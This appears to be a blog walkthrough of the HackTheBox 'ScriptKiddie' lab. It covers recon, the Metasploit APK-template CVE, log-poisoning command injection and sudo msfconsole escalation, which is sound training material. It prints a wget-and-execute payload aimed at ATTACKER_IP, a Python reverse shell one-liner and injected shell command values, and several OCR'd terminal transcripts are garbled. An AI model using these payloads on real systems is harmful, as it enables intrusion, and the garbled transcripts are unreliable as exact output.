HackTheBox ScriptKiddie Walkthough

HackTheBox ScriptKiddie Walkthough

ScriptKiddie was an Easy rated Linux machine, which involved exploiting a vulnerability within MetaSploit, then gaining access to the pwn user and abusing a sudo misconfiguration.

Getting A Shell

Reconnisance

Initial nMap scans showed a very simple box, with just SSH and port 5000 open. I personally find the -sV -A flags tend to reveal the most useful information when scanning. The scan shows that port 5000 is most likely a Python-based webserver.

Machine generated alternative text:
(kali@ kali) - 
$ nmap -sv -A 
10.129.131.144 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-16 11:26 BST 
Nmap scan report for 10.129.131.144 
Host is up (0.043s latency). 
Not shown: 998 closed ports 
PORT 
STATE SERVICE VERSION 
22/tcp 
OpenSSH 8.2p1 Ubuntu 4ubuntuø.1 (Ubuntu Linux; 
open ssh 
1 2.0) 
ssh-hostkey: 
3072 (RSA) 
256 (ECDSA) 
256 (ED25519) 
5000/tcp open http 
Werkzeug httpd 0.16.1 (python 3.8.5) 
http-server-header: Werkzeug/ø.16.1 python/3.8.5 
http-title: kld'5 h4ck3r tøø15 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
protoco 
Service detection performed. Please report any incorrect results at https://n 
map.org/submit/ 
Nmap done: 1 IP address (1 host up) scanned in 10.37 seconds
Scan results for the target

The site itself is an ‘script-kiddies’ website, allowing for nMap, SearchSploit and MetaSploit to be used from a web portal. Initially, I thought this might be an OS command injection vulnerability. Perhaps this could work by running an nMap scan along the lines of “8.8.8.8 & whoami“. This didnt work though, showing there was likely something further to be exploited.

Machine generated alternative text:
nmap 
scan top 100 ports on an ip 
ip: 
8.8.8.8 whoami 
scan
My attempt at performing OS injection

MetaSploit

Two things in the MetaSploit section caught my eye. First, you are able to include a template file – something I didn’t even know you could do in MetaSploit! Secondly, ‘Android’ was listed as a target, along with Windows and Linux. This seemed very odd, and led me to discover a CVE (CVE-2020-7384) relating to MetaSploit, template files and Android!

Luckily, there is exploit code for this within ExploitDB. This exploit will generate a malicious template, which will be executed on the target. To make my life easier, I decided to make this template retrieve a file from my HTTP server. This means I wont need to recompile the template for any small code tweaks – I can just update the file on my webserver. To do this, I changed the payload variable to be the following code:

payload = 'wget "http://ATTACKER_IP/payload" -O /tmp/payload && chmod +x /tmp/payload && ./tmp/payload'

This code will download a ‘payload‘ file from my HTTP server, make it executable and then execute it.

Now I could begin to create my payload. At this point I had several issues with Kali not finding the jarsigner binary. This is caused by using JRE (Java Runtime Environment) and not JDK (Java Development Kit). To fix this, run sudo apt install -y default-jdk to install JDK (Source).

Successfully compiling the malicious template file.

I then opted to use a basic Python3 reverse shell as our payload file. This then returned a shell from the host after specifying our IP in the LHOST field.

payloads 
venom it up 
. gen rev tcp meterpreter bins 
I host: 
template file (optional): 
template.apk
Setting LHOST and the template!
'r.•lp 
8888 
listening on [any] 8888 
connect to [10.10.14.67] from 
/bin/sh: e: can't access ttv; 
(UNKNOWN) [10.129.131.144] 
job control turned off 
33662 
(katiSkaIi)-C 
total 
-rwxr-xr-x I kali kali 1830 Apr 
10.10.14.67 
tsudol password for kali: 
serving HTTP on ø.ø.e.ø port se 
16 12. 
•29 49491.py 
(http• 
12 : 35. 
10.129.131.1&0 - 
10.129.131.1" 
- [16/Apr/2e21 
[16/Apr/2021 
- [16/Apr/2ø21 
.//e.ø.ø.ø:8ø/) . 
•GET 'payload HTTP/I.I• 2øø 
•GET 'payload HTTP/1 1 
•GET 'payload HTTP/I.I 
. • 200 
• 2øø
Shell returned from the server!

Privilege Escalation

At this point, we had access as the kid user, who unfortunately didn’t have the user flag in their directory! I moved LinuxSmartEnumeration onto the host and ran it initially on level 0, then on level 2 with specific flags.

Machine generated alternative text:
LSE Version: 
User: 
user ID: 
Password: 
Home : 
Path: 
umask: 
Hostname : 
Linux: 
Distribution : 
Architecture: 
./lse.sh -1 2 -p 0 -s 
If you know the current user password, write it here to check sudo privileges: 
-rw-r r 
3.1 
kid 
1000 
none 
/home/kid 
/var/lib/gems/2.7. ø/bin : /usr/local/sbin : /usr/local/bin : /usr/sbin : /usr/bin : /sbin : /bin : /snap/bin 
0022 
scriptkiddie 
5.4 .0-65-generic 
Ubuntu 20.04.1 LTS 
x86 64 
( users ) 
Are there other users in an administrative groups? 
usr020 
• 4: syslog 
adm 
kid 
pwn 
usr030 
fst090 
fst150 
Other users with shell 
root: /root :/bin/bash 
: 1000 : kid : /home/kid : /bin/bash 
:: /home/pwn : /bin/bash 
( file system ) 
SSH files in home directories. 
1 kid kid 0 Apr 16 11:41 /home/kid/.ssh/authorized_keys 
Looking for GIT/SVN repositories. 
/opt/exploit-database/ . git 
/opt/exploitdb/ .git 
kidnscriptkiddie : /tmp$ 
FINISHED )
Output of LSE, showing the pwn user.

I then moved to the kid users home directory, uploading my SSH key to gain a fully interactive shell as the kid user. Looking through the pwn users directory, the scanlosers.sh file stands out as being an area to target.

The scanlosers.sh file

In short, this file is reading in the hackers log file, then splitting it on any spaces using cut. Anything after the 2nd space (3rd item) is then put into the shell command on line 7, which is running an nMap scan. For instance, if we ran the following command it would poison the logs, then run whoami as the pwn user. Note that the semi-colon will end the nMap command and run whoami by itself.

echo "a a ; whoami" > /home/kid/logs/hackers && ./scanlosers.sh

We can then extend this to run a reverse shell, allowing us to gain code execution as the pwn user. I found the exploit code would often fail when combining the log poisoning and reverse shell, so I stored the shell in a separate file. To do this, I ran the following command to make a reverse shell file named ‘script.sh‘.

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.67\",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > script.sh

I then ran the following command to poison the logs.

echo "a a ; cd /home/kid/ && ./script.sh ;"> logs/hackers

Then run the scanlosers.sh file and you finally get a user shell!

Getting root

The first thing when I get a Linux shell, is to run sudo -l, as it is often an easy priv-esc! In this case, we can run MSFConsole as sudo, as shown below.

p 9999 
listening on (any] 9999 . 
connect to [le.10.14.671 from (UNKNOWN) [1ø.129.131.144] 48124 
/bin/sh: o: can't access tty; job control turned off 
$ whoami 
$ python3 —c ' import Pty; 
pwnascriptkiddie:/home/kid$ sudo -1 
sudo -I 
Matching Defaults entries for pm on scriptkiddie: 
env_reset, mail_badpass, 
/usr/locat/bin\ : /usr/sbin\ /usr/bin\ /sbin\ : /bin\ : /snap/bin 
User pm may run the following cMnands on scriptkiddie: 
(root) NOPASSWD: /opt/metasp10it-framework-6.ø.9/msfcons01e 
1 
pwnOscriptkiddie : / home/ kid$
Output of sudo -l for the pwn user.

Running MSFConsole as sudo allows us to run commands on the host as root. Ensure that you run the command exactly as shown in the screenshot above, don’t try to just run msfconsole as it might not work!

Getting the root flag

In the spirit of OSCP, we can get a root shell by uploading another Python3 reverse shell. We can then run that from within MSFConsole and get a root shell back.

msf6 > cd /home/kid 
cd /home/kid 
ms.f.$ bash script.sh 
bash script. sh 
[i] exec: bash script.sh 
kali@ kali 
nc -nvlp 
7777 
listening on [any] 7777 
connect to [10.10.14.671 from (UNKNOWN) [le.129.131.144J 53892 
whoani
A root reverse shell!

ScriptKiddie Summary

Overall, I really enjoyed ScriptKiddie as it had a very different focus to most other HTB boxes. The inclusion of having to move to the pwn user was a nice challenge as well! I would say this is fairly similar to machines in OSCP or Proving Grounds, so would be good practise ahead of the exam!

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